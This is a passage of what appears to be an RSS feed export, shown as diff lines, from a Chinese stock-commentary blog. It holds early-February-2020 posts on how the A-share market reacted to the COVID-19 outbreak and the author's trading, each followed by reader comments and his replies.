      +
      +
    • +
    • +
      +
      193
      + +
      +
      +
      这样涨下去,买指数是不是浪费窗口期了
      +
      +
      +
      +
      485
      +
      +
      作者
      +
      +
      +
      +
      这几天指数涨幅在中位数表现之上,当然了,你有能力一定买到比指数强的你去干个股没问题,祝你发财。
      +
      +
      +
    • +
    • +
      +
      144
      + +
      +
      +
      感觉这两天的行情都不会操作了 今天一顿减仓 害怕明天要懊恼地哭一场
      +
      +
      +
      +
      466
      +
      +
      作者
      +
      +
      +
      +
      犹豫不决的时候我教你一个办法,就是用仓位调节自己的心态,不要一下全仓,一下空仓,心态容易爆炸。涨的受不了了卖一点,就像窒息的人补一口氧。炒股很多时候炒的还是自己的心态。
      +
      +
      +
    • +
    • +
      +
      120
      + +
      +
      +
      如何看待咸鱼上卖口罩的,或者代购,这个不算哄抬物价吗?
      +
      +
      +
      +
      444
      +
      +
      作者
      +
      +
      +
      +
      供不应求导致价格上涨,是市场经济的正常表现,大厂或者大机构你还能要求它有社会公义和道德,个人买家,只和你谈钱,别的少废话。
      +
      +
      +
    • +
    • +
      +
      180
      + +
      +
      +
      言而无信,说好的10点直播呢
      +
      +
      +
      +
      376
      +
      +
      作者
      +
      +
      +
      +
      21:10开始发,一直到现在才发出来,内容还截过肢,最近内容审查很严格,我还需要调节适应。
      +
      +
      +
    • +
    • +
      +
      108
      + +
      +
      +
      不是辟谣了吗,药物研究预计要4月27日结束。
      +
      +
      +
      +
      361
      +
      +
      作者
      +
      +
      +
      +
      那是药物研究,真正的试验结果很快就会出来了,因为新冠这个病,就算不用药,一个月没死你也自己差不多挺过来了,那些重症的都在死亡线上徘徊,根本不需要到4月底。
      +
      +
      +
    • +
    • +
      +
      144
      + +
      +
      +
      第一次留言,全仓了医院股,猫猫,我准备一周后清仓,你觉得怎么样?
      +
      +
      +
      +
      265
      +
      +
      作者
      +
      +
      +
      +
      没把握,就是投机性很强的策略,最近每天都有新消息,我也预测不了一周后的事情。
      +
      +
      +
    • +
    • +
      +
      111
      + +
      +
      +
      吉利德科学的K线,应该从2011年开始贴……
      +
      +
      +
      +
      259
      +
      +
      作者
      +
      +
      +
      +
      这公司的股价不行,在美股那么牛的市场,这样的走势很坑爹了,话说他们的产品做的很有名,但确实不怎么挣钱。
      +
      +
      +
    • +
    • +
      +
      146
      + +
      +
      +
      大A特斯拉概念还可以啊不算吃面吧
      +
      +
      +
      +
      238
      +
      +
      作者
      +
      +
      +
      +
      那是因为今天大盘爆涨,即便这样,钴和锂今天都是绿的,宁德时代上午开盘-6%,尾盘被人抢上来。
      +
      +
      +
    • +
    • +
      +
      130
      + +
      +
      +
      duang duang duang 换地方吧
      +
      +
      +
      +
      128
      +
      +
      作者
      +
      +
      +
      +
      走吧,去直播吧,今晚我被退了两次,情绪也不高,不翻了。
      +
      +
      +
    • +
    +
    +
    +
    +
    +
    +
    +]]>
    +
    + + 特效药启动随机双盲试验了 -20200205 + http://www.gushequ.com/2020/02/%e7%89%b9%e6%95%88%e8%8d%af%e5%90%af%e5%8a%a8%e9%9a%8f%e6%9c%ba%e5%8f%8c%e7%9b%b2%e8%af%95%e9%aa%8c%e4%ba%86-20200205/ + Wed, 26 Feb 2020 09:04:42 +0000 + + + + http://www.gushequ.com/?p=7500 + + +
    +
    +
    +

    想过今天会涨,但涨成这个样子还真是没想到。

    +

    有些人几天前还鬼哭狼嚎,惶惶不可终日,这几天涨完又气定神闲,谈笑风生。每一次市场剧烈波动,就是一次财富交换的过程,在坑里面割肉的人痛不欲生,抄到底的满嘴流油。

    +

    这个时候可以看出洋大人厉害嗷,北上资金周一入场抄底200亿,周二抄底50亿,人家光明正大凭本事割韭菜。散户谈不上卖国,卖的都是自己的血肉,以后可长点心吧。

    +

    今天涨完后,最强势的创业板指已经提前把疫情砸下来的缺口补上了,甚至留下了一个向上的跳空缺口,所以确实有一部分人这星期不但没亏钱,反而开始盈利了。

    +

    但他们不能代表整个大盘的平均水平,我说几个数据缓解一下焦虑。

    +

    本周3个交易日,A股的中位数是-9.09%,意思就是有一半的股票跌了9个点,累计上涨的股票510个,累计下跌的股票3248个。

    +

    行业板块里只有3个是涨的,医疗保健和医药都涨4%左右,仓储物流涨0.84%,其余53个行业都是跌的。

    +

    至于表现差的板块,我发现除了一些主营直接受冲击的行业外,还有不少的传统行业,比如煤炭钢铁石油的跌幅靠前,这些都属于第二产业,但它们现在都是资金没兴趣的板块。

    +

    举个例子,科技、新能源就像十来岁的小伙子,摔得再重,拍拍屁股就起来了,而这些暮气沉沉的行业则像是上了年纪的老人,哪怕轻轻地上一坐,就要叫救护车来抬人。

    +

    20200205-1

    +

    这里面比较奇怪的是商业连锁只跌了0.77%,我去看了一下成分股,原来是把很多医药商业公司都算进去了。

    +

    ……

    +

    现在大家讨论最多的还是疫情能不能控制,有一个乐观的数据是新增的疑似病例已经明显开始减少了,用股票的术语说,就是确诊K线和疑似K线要出现死叉了。另外就是这几天刷屏的新闻,有一个叫瑞德西韦的药物虽然还没上市,但在走加急通道投入临床试验

    +

    20200205-2

    +

    官方正式通告武汉启动随机双盲测试,中症患者308例,重症患者453例。

    +

    随机双盲测试,经常参与中医话题讨论的人应该都对这个词不陌生,就是随机挑选一组病人吃的是药,另外一组病人吃的是安慰剂(比如面粉丸),病人不知道自己吃的是啥,医生也不知道,然后过几天出数据的时候两相比对一下。如果吃药的那组比吃面粉丸的明显好转,那就是重大利好。

    +

    如今事急从权,出结果估计也就是未来几天的事。

    +

    新加坡的A50期指今天晚上又涨了1%多,节前收盘的点位我记得是13790,最新是13490(2月5日晚21点),只跌2.2%了。我看有外媒说是浙江大学发现新的有效药物(该消息未经证实),总之好消息是越来越多了。

    +

    20200205-3

    +

    但另一方面也不能说彻底安全,万一药物效果不佳,万一大面积复工后二次爆发,到时候难保市场会不会又出现剧烈波动。

    +

    ……

    +

    我今天上午冲高的时候减仓了,IC把前天抄底的2手都卖了,还剩7手,股票账户也卖了一些昨天捞起来的股票,最新仓位降至80%,虽然这周依然亏了很多钱,但靠抄底和反弹回了点血。

    +

    行情到了这个敏感位置我现在也有点犯难,凭历史经验,后续可能还有二次下探,但看创业板指这么猛,我也摸不准,所以只卖了新抄底的筹码,卖多了怕继续上涨被逼空。

    +

    如果后面出现调整,把今天向上的跳空缺口补了,我再进场捞货,具体点位的话中证500指数跌到4950就差不多了。如果后面继续涨,那我就暂时这个仓位不动了,不会继续卖。

    +

    炒股炒的就是各种概率之间的博弈,涨有涨的计划,跌有跌的计划,事先把两个方向的处理方案都想好,临到头了就不慌。

    +

    ……

    +

    【操作笔记】公众号新粉输入YC3看渔盆介绍

    +

    沪深300继续NO,临界4044

    +

    创业板继续YES,临界1826

    +

    中证500继续NO,临界5355

    +

    国证有色399395继续NO,临界3545

    +

    中证科技931087继续YES, 临界3595

    +

    证券公司399975继续NO,临界778

    +

    中证军工399967继续NO,临界7945

    +

    鱼盆的数据我前几天没发,是因为当时出现了非常规的剧烈波动,怕误导大家在坑里面割肉,就暂停了2天,可以看到最猛的创业板和科技指数这两天已经涨回临界之上了。趋势策略最怕的就是遇到非常规剧烈波动,尤其是这次震荡的幅度超过10%,无论哪一种右侧交易的策略都是扛不住洗的,只能人为干扰一下了。

    +

    对了预告一下明晚打算在换手率做一次直播,时间暂定晚上22点,所以夜报也可能会提前到21点发。

    +
    +
    +
    +
    +
    阅读原文

    +
    阅读 10万+
    +
    +

    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    精选留言
    +
    +
      +
    • +
      +
      441
      + +
      +
      +
      我就想问问这一分钟好几千的阅读量是怎么来的
      +
      +
      +
      +
      1.6万
      +
      +
      作者
      +
      +
      +
      +
      淘宝买机器人账号刷阅读量又不用花多少钱,现在机器人都很智能,不信我给你演示一下,我说机器人都给我这条评论点赞,你看吧,很快就顶到最上面去了。
      +
      +
      +
    • +
    • +
      +
      254
      + +
      +
      +
      快十一点才收到,错过直播了
      +
      +
      +
      +
      4494
      +
      +
      作者
      +
      +
      +
      +
      我寻思这一届股民的视力是真的不行,怪不得爱尔眼科这几年暴涨。
      +
      +
      +
    • +
    • +
      +
      151
      + +
      +
      +
      再给你次机会,这次春节还回台州吗?
      +
      +
      +
      +
      2032
      +
      +
      作者
      +
      +
      +
      +
      回不回不重要了,再给机会,节前直接一键清仓才是真的。
      +
      +
      +
    • +
    • +
      +
      219
      + +
      +
      +
      牛猫,我是年前减的仓不到2成,昨天开盘加到7成仓,又担心行情反复,午后我又把底仓给出了,今天拉高的时候我又没出货,我这操作是不是太差劲了,求指导。
      +
      +
      +
      +
      1545
      +
      +
      作者
      +
      +
      +
      +
      中国的证券行业还是很需要你这样操作猛如虎的股民,不然券商的业绩就涨不动了。
      +
      +
      +
    • +
    • +
      +
      145
      + +
      +
      +
      谁把关双盲?万一结果不理想,专家组是报喜还是报忧?
      +
      +
      +
      +
      816
      +
      +
      作者
      +
      +
      +
      +
      别老想着阴谋论,真要报喜,就不双盲测试了,直接走前几天双黄连那条捷径,人民日报直接官宣就完事了。
      +
      +
      +
    • +
    • +
      +
      422
      + +
      +
      +
      我有一种猜想:待疫情结束后,大A可能会一股作气,直奔3500点。
      +
      +
      +
      +
      730
      +
      +
      作者
      +
      +
      +
      +
      承您吉言了。
      +
      +
      +
    • +
    • +
      +
      218
      + +
      +
      +
      都这个时候了还双盲?吃了安慰剂耽误病情咋办?
      +
      +
      +
      +
      729
      +
      +
      作者
      +
      +
      +
      +
      新闻通稿上是这么写的,不过有一个同情用药的机制,那些快死的估计会优先用药吧。不是很致命的中症肯定要双盲测试,不然你不能确定疗效啊。
      +
      +
      +
    • +
    • +
      +
      186
      + +
      +
      +
      牛猫,特斯拉那几只现在进会不会太高了,如果打开板的话?
      +
      +
      +
      +
      659
      +
      +
      作者
      +
      +
      +
      +
      今晚特斯拉下跌12%,明天要降温了。
      +
      +
      +
    • +
    • +
      +
      201
      + +
      +
      +
      今天跟上步伐了,把反弹无力的仓位砍掉一些,长得好的留着呢,对吗?
      +
      +
      +
      +
      657
      +
      +
      作者
      +
      +
      +
      +
      就应该这么操作,以后A股会长期是这个风格,马太效应越来越强,烂股跌起来没底线,牛股涨起来目瞪口呆。
      +
      +
      +
    • +
    • +
      +
      179
      + +
      +
      +
      大屁股,你上午冲高就出货了,你通知一声你的粉丝啊,下午跳水又砸回去了
      +
      +
      +
      +
      628
      +
      +
      作者
      +
      +
      +
      +
      我又不是神仙,我也没有卖在最高点,和收盘价差不多的,你别每次都盯着山尖的价格,这种心态很不好。
      +
      +
      +
    • +
    • +
      +
      141
      + +
      +
      +
      你觉得大概率什么时候会出现疫情拐点?
      +
      +
      +
      +
      601
      +
      +
      作者
      +
      +
      +
      +
      如果说拐点,现在的数据就已经是拐点了,都死叉了没看见吗。现在大家担心的是还有潜伏期的,在2月9日复工后二次爆发,理论上全国人民隔离到3月份最安全,但中国经济怕会休克致死。
      +
      +
      +
    • +
    • +
      +
      122
      + +
      +
      +
      美股特斯拉下跌啥原因
      +
      +
      +
      +
      395
      +
      +
      作者
      +
      +
      +
      +
      几个月涨了4倍就是原因,技术上千元关口附近也需要调整一下,获利盘洗一洗,后面会不会破千不好说的。
      +
      +
      +
    • +
    • +
      +
      152
      + +
      +
      +
      牛? ,装死半年会乍样
      +
      +
      +
      +
      328
      +
      +
      作者
      +
      +
      +
      +
      缺口已经补了,大概率比现在的点位高。
      +
      +
      +
    • +
    • +
      +
      125
      + +
      +
      +
      为啥不是机构在割肉呢?
      +
      +
      +
      +
      328
      +
      +
      作者
      +
      +
      +
      +
      这次公募基金比较给力,昨天自己认购自己产品20多亿,而且上面窗口指导过,除了被散户赎回的部分,他们不会主动砸盘的。
      +
      +
      +
    • +
    • +
      +
      153
      + +
      +
      +
      牛猫,这两天券商怎么看,前天一字跌停,昨天今天反弹乏力,但是成交量这么大,心里没底啊。 另外重仓中国电影和浙商证券,心里没谱,能帮忙指点下嘛
      +
      +
      +
      +
      322
      +
      +
      作者
      +
      +
      +
      +
      证券一向都是高贝塔板块,大盘暴跌,它肯定跌的更多,涨也是涨的更多,这种突发事件里,只能认栽了。
      +
      +
      +
    • +
    • +
      +
      270
      + +
      +
      +
      duang!睡觉啦!这个假期涨的是体重跟厨艺
      +
      +
      +
      +
      154
      +
      +
      作者
      +
      +
      +
      +
      今晚你上去敲钟了,大家晚安哟
      +
      +
      +
    • +
    +
    +
    +
    +
    +
    +
    +]]>
    +
    + + 开盘哄抢人血馒头 -20200204 + http://www.gushequ.com/2020/02/%e5%bc%80%e7%9b%98%e5%93%84%e6%8a%a2%e4%ba%ba%e8%a1%80%e9%a6%92%e5%a4%b4-20200204/ + Wed, 26 Feb 2020 09:01:43 +0000 + + + + http://www.gushequ.com/?p=7496 + + +
    +
    +
    +

    直接进主题呗

    +

    关于今天早上的大幅低开,主要有两部分原因。

    +

    一是昨天下跌的惯性,肯定有很多股民还是情绪上受到了冲击,被吓破胆了,开盘就无脑往外跑,劝都劝不住。

    +

    二是强平单,这个就很可怜了,一部分是个人融资仓爆了,另一部分就是公募基金的强赎份额。昨天因为恐慌赎回基金的人很多,但昨天3200只股票跌停,卖都卖不出来,只能放到今天一早操作,所以就砸出个坑来。

    +

    这事其实昨晚提前预警过的。

    +

    20200204-1

    +

    不过今天早上还是发生了一些让我极其意外的罕见事件。

    +

    今天中证500指数大幅低开3.5%,4736点,我当时心头暗喜,想去捡便宜,但是ic今天集合竞价出来竟然是4900点,升水164点!简直瞎搞!

    +

    ic一个点200元,一手164点就是3.3万。我当时真在电脑前骂娘,抄底计划破产。

    +

    时间紧迫,股指期货是9:29竞价,离开盘只剩1分钟。我先去看了一眼指数基金,发现510500也是非常诡异的平开,和指数比多出3.5%溢价。我就知道肯定有大资金在捡人血馒头吃,这些工具都失效了,只能自己直接下场捞个股。

    +

    然后我抓紧最后的几十秒时间,在持仓股里下了7个买单,成交了4个半,其实下到第6个的时候已经开盘,大盘嗖一下就上去了,没买上就买不到了。

    +

    这就是开盘那一瞬间发生的细节,个股有大量的强平单砸出,但是更多的资金丧心病狂的在抢筹指数类工具(etf、期指),导致价格严重失真,开盘抄底买个股的今天真心是赚到了。

    +

    ……

    +

    今天指数涨了很多,但依然有很多股民哭诉自己是亏钱的。

    +

    我说一个数据你们就懂了,今天下跌的股票2213个,上涨的股票1494个,减一下,下跌的多了719个。

    +

    说明场内流入的资金都是怼着指数和大权重股买,所以才会出现指数大涨,但中位数还是下跌的情况。

    +

    夜报里多次强调加仓务必优先考虑指数基金,因为大资金抄底它要考虑流动性,小盘股进去容易出来难,冲击成本大,所以要快速、便捷、安全的抄底,要么去买日成交额10亿以上的大票,要么就是闭眼往指数工具上干。

    +

    有一些新关注的读者问指数工具是什么,我以前整理过一个常用指数etf列表,我再贴一次。

    +

    20200204-2

    +

    最上面6个红的是大盘指数etf

    +

    中间是行业指数etf

    +

    最下面是投资境外市场的etf

    +

    有人问,那我怎么知道我的持仓股是不是指数成分股?

    +

    给你们一个东财的地址去查,上证50、沪深300、中证500都有。

    +

    http://data.eastmoney.com/other/index/hs300.html

    +

    ……

    +

    至于更细分一点的热门主线,现在看就两条。

    +

    一个就是疯狂特斯拉,昨晚特斯拉股价暴涨20%,血腥屠杀空军,之前美股回调,特斯拉也是少数逆势上涨的大盘股。a股的特斯拉概念也趁势鸡犬升天,在这波大跌中表现的很抢眼。

    +

    更爆炸的是,特斯拉今晚盘前交易再度上涨14%,这一波奔着1000美金去了,记得去年有很多做空机构预测特斯拉将要破产,如今这些人已经集体沉默。我觉得特斯拉短线技术上超涨了,情绪透支,1000元关口附近可能有调整,但最多也就是周线级别的调整。

    +

    第二条线就是防疫概念股,我对这个并不是很感冒,特斯拉你可以画一个很远大的蓝图,防疫这事我想不出发大财的可能。我们假定最后确诊人数10万好了,相关药品肯定是国家采购,而且是一锤子买卖,上市公司不可能从里面挣很多钱的。说白了,这个比集采还敏感,不是市场经济那套逻辑。

    +

    一些四五个涨停的个股,它们牵涉到的产品只占总收入的5%都不到,这个我觉得还是情绪上的击鼓传花,关键就看疫情数据,诸位若是追涨还是要注意投机风险。

    +

    ……

    +

    我今天期货账户ic没买到,股票账户加仓至87%,具体到明天的行情,我今晚看了一下美股那边的情况,盘前就涨的比较多,明早的开盘应该无碍,最多就是今天涨的特别多的个股洗一下抄底盈利盘。

    +

    我对明天的看法一般,暂时没计划再加仓了,部分反弹幅度较大的个股,明天还打算减一点。在疫情彻底控制住之前,我认为大盘会隔着缺口在下方运行震荡,找机会做做波段呗。

    +

    我最近用的都不是称手的电脑,感觉很不习惯,但北京一时半会也回不去了。据说有关部门查户口的时候,发现我是台州人,高度警惕,做我老婆思想工作,说你老公就别回来啦,如果回来要联系隔离,当然了,最好还是别来啦。

    +

    我打算在临海老家呆到疫情结束再说了,想想也挺有意思,20年后你问我2016、2018年春节咋过的,我多半想不起来了,但若说起2020年春节,那可真是…….印象深刻。

    +
    +
    +
    +
    +
    +
    阅读 10万+
    +
    +

    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    精选留言
    +
    +
      +
    • +
      +
      573
      + +
      +
      +
      怕是等到2100年我也对今年春节印象深刻,duang,敲钟
      +
      +
      +
      +
      7159
      +
      +
      作者
      +
      +
      +
      +
      翻你不是要敲钟的,现在还早,我是祝你能熬到2100年,到时候给我烧纸播报一下上证那个时候多少点,要是还在3000点附近…….就别烧了。
      +
      +
      +
    • +
    • +
      +
      281
      + +
      +
      +
      老婆儿子咋办
      +
      +
      +
      +
      1465
      +
      +
      作者
      +
      +
      +
      +
      家里粮草是充足的,有朋友帮忙接济物资,母子两半个月没出门了,比较意外的是儿子这十几天好像突然开窍了,特别懂事。
      +
      +
      +
    • +
    • +
      +
      455
      + +
      +
      +
      想说死多这个词感觉亲昵啊,好像死鬼
      +
      +
      +
      +
      1268
      +
      +
      作者
      +
      +
      +
      +
      你可以叫我死多,但别叫我死鬼
      +
      +
      +
    • +
    • +
      +
      186
      + +
      +
      +
      不朝九晚五挺好的,我也想过上这种生活。
      +
      +
      +
      +
      1207
      +
      +
      作者
      +
      +
      +
      +
      我其实一天也得工作8小时,白天4小时,晚上差不多复盘做功课+写文章上钟,也是4小时左右,加起来和你们上班族差不多。不过有一点是挺好的,就是已经很久没有求过人了。
      +
      +
      +
    • +
    • +
      +
      340
      + +
      +
      +
      现在是除了武汉,就是防浙江人了,外地就怕温州,台州,杭州。温州地区是村村封路!出入需通行证
      +
      +
      +
      +
      1139
      +
      +
      作者
      +
      +
      +
      +
      各地都在悬赏举报湖北仔+温州仔+台州仔…不过还是恭喜以下湖北仔们,你们的人头费通常比台州仔和温州仔贵一倍
      +
      +
      +
    • +
    • +
      +
      166
      + +
      +
      +
      没懂你讲0929时候的操作?
      +
      +
      +
      +
      810
      +
      +
      作者
      +
      +
      +
      +
      期指交易失败,etf也失效了,只能连滚带爬的下单个股,我手算快的,30多秒下了五六单,这操作还行吗?
      +
      +
      +
    • +
    • +
      +
      302
      + +
      +
      +
      唉,不会理财,看了你两年也没懂经济。一半的个人资产就放在卡里,连存个定期都懒得去
      +
      +
      +
      +
      754
      +
      +
      作者
      +
      +
      +
      +
      那恭喜你,已经击败半数以上的股民了 不过钱放活期确实性价比低,我推荐你买我定投页面里的华宝中短债,活期理财,一年还有5%左右,这个春节收益0.29%,省心又划算。
      +
      +
      +
    • +
    • +
      +
      672
      + +
      +
      +
      今晚这标题总结得相当到位了,你是财经公众号里文学天份超高的
      +
      +
      +
      +
      495
      +
      +
      作者
      +
      +
      +
      +
      其实发出去就有点后悔了,都已经想好了退回来标题怎么修改,结果审查了半小时,意外通过了。
      +
      +
      +
    • +
    • +
      +
      215
      + +
      +
      +
      根据那天的图,我猜牛猫带的是后妈的12英寸MacBook,不到1千克,精致又漂亮,就是性能孱弱,干不了重活。
      +
      +
      +
      +
      494
      +
      +
      作者
      +
      +
      +
      +
      做交易的真不适合用苹果系统,简直辣鸡,很多关键软件都没有,我后悔死了,以为就是回台州春节溜一圈玩玩,开盘就回去的,没想到被迫滞留了。
      +
      +
      +
    • +
    • +
      +
      236
      + +
      +
      +
      大牛猫,考研生今年没有时间每天看行情,买的指数基金,建议持仓还是等疫情过后平掉?
      +
      +
      +
      +
      469
      +
      +
      作者
      +
      +
      +
      +
      着急用钱吗?年内不着急的话等疫情过去了再说。
      +
      +
      +
    • +
    • +
      +
      179
      + +
      +
      +
      我一个小白有点纳闷,开盘的时候明明看到是1000多个个股跌,但开盘却诡异上涨,懵了,不过你真的厉害,能判断出有资金抄底?
      +
      +
      +
      +
      430
      +
      +
      作者
      +
      +
      +
      +
      etf通常和指数的偏离都在0.5%以内,极罕见会在短时间偏离接近1%,今天一上午一来偏离3.5%,这确实不用多厉害都知道有人在哄抢抄底。
      +
      +
      +
    • +
    • +
      +
      161
      + +
      +
      +
      抗病毒药临床试验效果好,这个算利好吧,会刺激持续反弹吗?
      +
      +
      +
      +
      399
      +
      +
      作者
      +
      +
      +
      +
      现在这些药物都是体外测试,都还没临床呢,不过我觉得最后疫情在一季度控制住是大概率的。
      +
      +
      +
    • +
    • +
      +
      180
      + +
      +
      +
      大猫肯定也经历非典了,和如今这个疫情比,个人感觉差不多!但是这次人心晃晃,是不是因为现在信息太发达了,大家得到信息的途径比非典时期太多了?是吗?
      +
      +
      +
      +
      394
      +
      +
      作者
      +
      +
      +
      +
      我那天回忆过非典,可是好像没太多印象,就是在寝室里吃了几天泡面,等把泡面吃完就不管了,下楼该干嘛干嘛。
      +
      +
      +
    • +
    • +
      +
      182
      + +
      +
      +
      一秒钟几十万上下的人,就不能赶紧买一台电脑?
      +
      +
      +
      +
      392
      +
      +
      作者
      +
      +
      +
      +
      临海这边现在其实也挺不方便的,你可能看我文章写的轻松,忘记了台州也是重灾区之一,大街上店铺都关了。
      +
      +
      +
    • +
    • +
      +
      174
      + +
      +
      +
      换手率里面为什么不更新了,我看那个比看夜报还勤啊
      +
      +
      +
      +
      318
      +
      +
      作者
      +
      +
      +
      +
      现在电脑操作有点麻烦,既然你们催,那我明晚就争取给恢复专栏。
      +
      +
      +
    • +
    • +
      +
      230
      + +
      +
      +
      最厉害的应该是宁德时代,创业板个深成指的一哥啊!北向不要钱一样的怼。
      +
      +
      +
      +
      313
      +
      +
      作者
      +
      +
      +
      +
      特斯拉概念龙头股,不过今晚我刚看了一下,特斯拉冲高回落了,明天不知道还能不能打板。
      +
      +
      +
    • +
    • +
      +
      152
      + +
      +
      +
      Duang,大屁股,今晚翻我,早点休息吧,提高免疫力
      +
      +
      +
      +
      185
      +
      +
      作者
      +
      +
      +
      +
      来,抱你上去敲钟,大家晚安哟
      +
      +
      +
    • +
    +
    +
    +
    +
    +
    +
    +]]>
    +
    + + 说说明天开盘了咋办 -20200202 + http://www.gushequ.com/2020/02/%e8%af%b4%e8%af%b4%e6%98%8e%e5%a4%a9%e5%bc%80%e7%9b%98%e4%ba%86%e5%92%8b%e5%8a%9e-20200202/ + Wed, 26 Feb 2020 08:58:22 +0000 + + + + http://www.gushequ.com/?p=7491 + + +
    +
    +
    +

    明天就要开盘了…我知道很多股民其实有些不愿意面对,但这事躲得过初一躲不过十五,该来的终究要来。

    +

    其实我前几天就已经在思考今晚的夜报该怎么写,着实是有些让人犯难。

    +

    首先是不可以正能量给网友打鸡血,了解我的老读者都知道,我从来不提倡爱国护盘,这种人可能不坏,但是蠢。a股是中国的a股没错,但账户是你自己的,股市投资的本质就是趋利,别用爱国为你的错误背锅。

    +

    但国难当头,更不可以渲染恐慌,趁机谋利。这种看似小聪明,其实是既坏又蠢,误人误己。

    +

    我觉得还是以客观事实为准,该如何就如何,也希望诸位可以保持平常心。

    +

    ……

    +

    我对周一行情的看法,可以分别静态和动态的两部分,所谓静态就是最近已经发生的无法改变的事实,动态就是对之后的看法。先讲静态的。

    +

    一个不容忽视的事实就是本次疫情已经对中国多个行业的经济产生了剧烈的冲击,单单一个春节,电影票房就损失了70亿,而零售餐饮和旅游服务损失了5000亿,我们一季度已经1万亿gdp没有了。

    +

    我今天看任泽平的宏观分析,他做出了3层预测。

    +

    1、疫情2月份快速控制,3-4月结束,则全年中国+5.4%

    +

    2、春节复工导致疫情又反复,影响至二季度,则全年中国+5.2%

    +

    3、疫情扩散超出预期,则下半年也受影响,则全年中国+5%

    +

    这在近几天我看到的观点里…属于偏乐观的,有一些境外的机构,预期比这个低,但再低的我暂时也没看到4%以下的(网上野生键盘国师不算)。

    +

    所以明天大幅低开是肯定的,至于幅度,有几个数字可以参考。新加坡a50期指跌了7.5%,a50期指的市场容量小,有时会过度反映,那参考另一个指标,恒生国企指数跌了6.5%

    +

    所以我前几天就说了,5个点以上是大概率的,至于具体是5是6是7,我也不好说,看情况。

    +

    ……

    +

    当然了,具体到个股,大家不可能都低开在5-7%这个区间,根据受疫情冲击程度不同,肯定有分化。

    +

    受灾最严重的板块肯定是旅游餐饮、商业零售、影视院线,这几个被拍死在跌停板上也不要太惊讶,尤其是旅游餐饮,一年中最重要的两个档期之一垮了。民航出行机场运输也会受到打击,包括刚刚上市的京沪高铁。

    +

    房地产,以及房地产的上下游,也跑不掉周一这一锤,非典那一波跌的最多的就是房地产。

    +

    另外食品饮料、酿酒板块周一也堪忧。

    +

    一句话,第三产业(服务业)以及做2c生意(个人端)的受直接冲击,第一产业(农林牧渔)和第二产业(加工制造)受的是间接冲击,主要是推迟复工导致的产能损失,没有那么致命,但时间拖久了也受不了。

    +

    其实这事以己推人想想就知道了,2月9日以后,让你去工厂上班你多半还是敢的,但要让你重新去商场人挨着人聚餐吃饭,估计3月9日你都不敢,有些谨慎的人甚至可能要到劳动节之后才会慢慢恢复消费信心。

    +

    大致逻辑就是这样,你们也别一个个股票问我,自己分析一下持仓股的利弊。

    +

    ……

    +

    当然也有一些股票在这次风波中受益,比如生产口罩的,生物疫苗概念的,物流运输的,在线游戏的,确实业务量在短期增加了。

    +

    但我要提醒的是口罩和生物股前期已经有不小的涨幅,而它们在抗疫行情中的真实利润增长其实是很有限的,新冠病毒现在没有特效药也没有疫苗,李兰娟院士之前就辟谣了,疫苗3个月内都造不出来,所以那些生物板块的个股其实大都在裸泳。

    +

    口罩现在价格大涨,但那是二级零售市场,大厂的产能对接的都是政府,价格和利润都是锁死的,除非疫情贯穿全年,中国人一直一直一直戴口罩,否则就这一两个月的突发需求也很难赚大钱。

    +

    2003年那波抗sars概念股就是先涨后跌,最终连大盘都没跑赢。

    +

    ……

    +

    上面说的是静态的,下面说动态的。

    +

    其实今天就有几个好消息,一个是全国非湖北省份确诊人数连续2天环比下降:

    +

    20200202-1

    +

    一个就是新增疑似案例出现回落:

    +

    20200202-2

    +

    一个是全国治愈人数反超死亡人数:

    +

    20200202-3

    +

    现在尚不能断言疫情会就此收敛,但我们在一开始低估新冠病毒传染性、被打了个措手不及后,已经高速反映,积极应对,接下来的半个月内,大概率会出现数据上的拐点,以及市场信心上的拐点。

    +

    再加上我看好a股的场外逻辑并没有发生变化,即中国资本市场的性价比正在开始凸显,会有越来越多的资金被挤向a股,这次虽然被疫情大幅冲击,从长远看未尝不是一次上车良机。

    +

    ……

    +

    最后说说明天该怎么办,我前面说了开盘大概是5-7%区间,如果真的开到-7%附近,我就会加仓。开到-5%我就等等看,不着急。

    +

    我目前没有明天减仓的打算,这么大的事件性突发缺口,历史上肯定都会补的,快的话1-2个月内,最悲观也是年内的事,所以没理由在恐慌情绪最极端的时候卖出筹码。

    +

    等等,如果明天反弹翻红,我也有可能卖,但这貌似是痴心妄想。

    +

    有人说我是死多,当然不是了,我14日、20日、22日减了3次ic,21日、22日降了2次股票仓位,先后减了将近500万的头寸,文章没删都在那里。我从1月中旬开始就建议中证500指数5600附近要分批减了,怕踏空卖的不决绝也是真的,我也很烦,当时谁能想到说好不人传人、可防可控的肺炎,过个春节就变这逼样了。

    +

    总之我不是只会看多,我也会动态的权衡,如果周一真跌个7%,那是不该卖的。还有,为了防止极端情况,抄底也最好留个心眼,别一口气把子弹都打光

    +

    鱼盆今晚不贴了,这种非技术性的剧烈波动,趋势跟随策略往往会被严重误导。

    +

    最后贴2个利好:

    +

    1、证券会暂停了各家券商的融券卖出业务,在一定程度上限制了做空投机。

    +

    2、人民银行2月3日展开1.2万亿公开市场操作投放流动性。去年同期是3000亿,算是给市场注入了资金。

    +

    有点小用,但明天大家还是要做好准备,面对疾风。

    +
    +
    +
    +
    +
    +
    阅读 10万+
    +
    +

    +
    +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    精选留言
    +
    +
      +
    • +
      +
      354
      + +
      +
      +
      牛猫的帖子看了心情稍微稳定点了,只是下跌幅度预估还是难以适应,是祸躲不过,谁让脑袋架在闸刀下呢?
      +
      +
      +
      +
      3909
      +
      +
      作者
      +
      +
      +
      +
      这就是资本市场不太愿意过长假的原因,隔的时间越长变数越多,这次真的是被某些人害了,明明1月初就已经有论文发现会人传人,干嘛憋着不说,我日他大爷的。
      +
      +
      +
    • +
    • +
      +
      295
      + +
      +
      +
      证监会凭什么可以暂停融券卖出业务?这违反市场经济吗?
      +
      +
      +
      +
      1059
      +
      +
      作者
      +
      +
      +
      +
      你没经历过2015年吗?别大惊小怪的,比这劲爆10倍的操作都多了去了。
      +
      +
      +
    • +
    • +
      +
      804
      + +
      +
      +
      漲了就跑,?跌了慢慢進貨,越跌越買,相信疫情過後的市場,慢牛?行情能得到更好貫徹,樂觀?️不得了
      +
      +
      +
      +
      1015
      +
      +
      作者
      +
      +
      +
      +
      对嘛,都像这个哥们一样淡定乐观,股市就会慢慢成熟,跌下来是给你机会买,慢慢来,长线看多没错的。
      +
      +
      +
    • +
    • +
      +
      164
      + +
      +
      +
